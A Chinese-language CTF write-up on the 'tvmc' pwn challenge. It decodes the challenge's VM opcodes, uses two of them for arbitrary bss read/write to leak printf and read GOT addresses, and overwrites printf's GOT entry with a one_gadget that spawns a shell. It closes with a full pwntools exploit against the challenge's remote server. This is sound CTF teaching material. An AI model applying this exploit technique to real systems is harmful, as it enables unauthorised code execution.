本文第一发布平台为安全客:https://www.anquanke.com/post/id/250882

题目分析

题目的保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

可以根据保护猜到本题应该是通过改 got 表的形式来进行利用

题目的主函数如下:

1.png

题目会让你输入一个 name 并保存在 bss 段上,然后读取你要传入的 code 的信息来将 code 放在 bss 段上,之后通过 vm 执行这些 codevm 的逻辑如下

2.png

3.png

4.png

指令的结构如下:

1
op_code | value1 | value2 | value3

归纳一下有如下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
count = 8 
op_code | value1 | value2 | value3
0x70 : data[value1] = data[value2] + data[value3]
0x90 : data[value1] = data[value2] & data[value3]
0xa0 : data[value1] = data[value2] | data[value3]
0x80 : data[value1] = data[value2] - data[value3]
0x30 : data[value1] = reg[data[value3]]
0x10 : data[value1] = value3
0x20 : data[value1] = 0
0x12 : data[value1] = data[value2] * data[value3]
0x50 : stack[count++] = data[value1]
0x60 : data[value1] = stack[count--]
0x40 : reg[data[value3]] = data[value1]
0xb0 : data[value1] = data[value2] ^ data[value3]
0xd0 : data[value1] = data[value2] >> data[value3]
0xc0 : data[value1] = data[value2] << data[value3]

其中由于 reg, data, stack, count 这些都是在 bss 段上的,而且 data 的元素 是 qword 类型,那么下面这两条指令就可以进行任意读写

1
2
0x30 : data[value1] = reg[data[value3]]
0x40 : reg[data[value3]] = data[value1]

漏洞利用

我们可以先读取 printfgot 表到 data[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = [
# data[0] = -0x117
0x10000001, # data[0] = 0x1
0x10010008, # data[1] = 0x8
0xc0000001, # data[0] = data[0] << data[1]
0x10020017, # data[2] = 0x17
0x70000002, # data[0] = data[0] + data[2]
0x80000300, # data[0] = data[3] - data[0]

# data[3] = reg[data[0]] = printf.got

0x30030000, # data[3] = reg[data[0]]
]

其中这里的偏移可以通过如下公式计算

1
offset = (dst - src) // 8

然后正负数分别用加减法操作

之后由于程序会在最后的时候 printf(name) , 那么我们就可以读到的 printf 的地址放入 name 中进行输出

5.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload = [
# data[5] = -0x104
0x10000001, # data[0] = 0x1
0x10010008, # data[1] = 0x8
0xc0000001, # data[0] = data[0] << data[1]
0x10020004, # data[2] = 0x4
0x70000002, # data[0] = data[0] + data[2]
0x80000300, # data[0] = data[3] - data[0]
0x70050005, # data[5] = data[0] + data[5]

# data[0] = -0x117
0x10000001, # data[0] = 0x1
0x10010008, # data[1] = 0x8
0xc0000001, # data[0] = data[0] << data[1]
0x10020017, # data[2] = 0x17
0x70000002, # data[0] = data[0] + data[2]
0x80000300, # data[0] = data[3] - data[0]

# data[3] = reg[data[0]] = printf.got

0x30030000, # data[3] = reg[data[0]]

# name = reg[data[5]] = data[3]
0x40030005, # reg[data[5]] = data[3]
]

可以得到远程的printf 的地址低字节是 810

6.png

同样的道理,我们可以读取read 的地址,只需要把 payload 中的

1
0x10020017, # data[2] = 0x17

改成

1
0x10020016, # data[2] = 0x16

即可

7.png

得到远程的read 的地址低字节是 350

随后我们可以在 libc database search 搜索 libc 并下载它

8.png

最后我们改 printfgot 表为 one_gadget 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
offset = 0xf1247 - 0x55810 # 0x9ba37

payload = [
# data[5] = -0x117
0x10000001, # data[0] = 0x1
0x10010008, # data[1] = 0x8
0xc0000001, # data[0] = data[0] << data[1]
0x10020017, # data[2] = 0x17
0x70000002, # data[0] = data[0] + data[2]
0x80000300, # data[0] = data[3] - data[0]
0x30030000, # data[3] = reg[data[0]]

# data[4] = 0x9ba37
0x1004000a, # data[4] = 0x9
0xc0040401, # data[4] = data[4] << data[1]
0x100500ba, # data[5] = 0xba
0x70040405, # data[4] = data[4] + data[5]
0xc0040401, # data[4] = data[4] << data[1]
0x10050037, # data[5] = 0x37
0x70040405, # data[4] = data[4] + data[5]

# data[3] = data[3] + data[4] = printf_addr + offset = one_gadget
0x70030304, # data[3] = data[3] + data[4]

# reg[data[0]] = data[3] = one_gadget
0x40030000, # reg[data[0]] = data[3]
]

EXP

最后完整的 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.log_level = "debug"

DEBUG = 0

# count = 8
# op_code | value1 | value2 | value3
# 0x70 : data[value1] = data[value2] + data[value3]
# 0x90 : data[value1] = data[value2] & data[value3]
# 0xa0 : data[value1] = data[value2] | data[value3]
# 0x80 : data[value1] = data[value2] - data[value3]
# 0x30 : data[value1] = reg[data[value3]]
# 0x10 : data[value1] = value3
# 0x20 : data[value1] = 0
# 0x12 : data[value1] = data[value2] * data[value3]
# 0x50 : stack[count++] = data[value1]
# 0x60 : data[value1] = stack[count--]
# 0x40 : reg[data[value3]] = data[value1]
# 0xb0 : data[value1] = data[value2] ^ data[value3]
# 0xd0 : data[value1] = data[value2] >> data[value3]
# 0xc0 : data[value1] = data[value2] << data[value3]

def dbg(cmd = ""):
gdb.attach(r,cmd)

if DEBUG:
r = process("./tvmc")
else:
r = remote("121.40.89.206",10001)

name = "Ayang"

'''
$ one_gadget libc6_2.23-0ubuntu11.3_amd64.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
offset = 0xf1247 - 0x55810 # 0x9ba37

payload = [
# data[5] = -0x117
0x10000001, # data[0] = 0x1
0x10010008, # data[1] = 0x8
0xc0000001, # data[0] = data[0] << data[1]
0x10020017, # data[2] = 0x17
0x70000002, # data[0] = data[0] + data[2]
0x80000300, # data[0] = data[3] - data[0]
0x30030000, # data[3] = reg[data[0]]

# data[4] = 0x9ba37
0x1004000a, # data[4] = 0x9
0xc0040401, # data[4] = data[4] << data[1]
0x100500ba, # data[5] = 0xba
0x70040405, # data[4] = data[4] + data[5]
0xc0040401, # data[4] = data[4] << data[1]
0x10050037, # data[5] = 0x37
0x70040405, # data[4] = data[4] + data[5]

# data[3] = data[3] + data[4] = printf_addr + offset = one_gadget
0x70030304, # data[3] = data[3] + data[4]

# reg[data[0]] = data[3] = one_gadget
0x40030000, # reg[data[0]] = data[3]
]

r.sendlineafter("Tell me your name:",name)
r.sendlineafter("Size:\n",str(len(payload)))

if DEBUG:
dbg("b *$rebase(0xBFA) \n b *$rebase(0x10a9) \nc")

r.recvuntil("PWN PWN PWN?????\n")

for i in payload:
r.sendline(str(i))
sleep(0.2)

r.interactive()